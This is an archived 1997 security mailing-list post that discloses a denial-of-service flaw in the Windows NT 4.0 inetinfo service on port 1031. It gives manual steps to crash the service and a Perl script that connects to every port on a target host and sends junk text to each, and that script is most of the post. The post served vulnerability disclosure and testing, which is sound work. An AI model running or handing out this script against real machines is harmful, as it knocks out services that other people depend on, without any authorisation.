[NTSEC] NT vulnerable to DOS attack on more than just port 135

From: Bob Beck (by way of Christopher Klaus ) (beckat_private)
Date: Sat Jan 25 1997 - 10:06:11 PST

  • Next message: Bob Beck (by way of Christopher Klaus ): "[NTSEC] (It gets worse) NT vulnerable to DOS attack on more than"

            Looks like NT is also vulnerable to exactly the same attack as
    previously posted WRT connecting and throwing garbage at port 135 on
    another port, namely 1031 (inetinfo) The inetinfo.exe process goes
    insane on NT4.0. Haven't tested on 3.51.  To try, telnet to 1031 on an
    NT machine and type garbage, then disconnect.
    
            Below is what me and Chris Bayly (Chris.Baylyat_private) rigged up to
    check.
    
            -Bob
    
    ---------------------------------------------------------------------------
    Bob Beck                                         Obtuse Systems Corporation
    beckat_private                                  http://www.obtuse.com/
    True Evil hides its real intentions in its street address. Search and you
    shall find it, and the truth shall set you free.
    
    
    ------------------------------8<----------------------------------
    #!/usr/local/bin/perl
    
    use Socket;
    use FileHandle;
    require "chat2.pl";
    
    $ILoveBill = $ARGV[0] && shift;
    
    $verbose = 0; # tell me what you're hitting
    $knownports = 0;  # don't hit known problem ports
    for ($port = $0; $port<65535; $port++)
    {
    
      if ($knownports && ($port == 135 || $port== 1031)) {
          next;
      }
      $fh = chat::open_port($ILoveBill, $port);
      chat::print ($fh,"Windows NT is the platform of the future");
      if ($verbose) {
              print "Trying port: $port\n\n";
      }
      chat::close($fh);
    }
    



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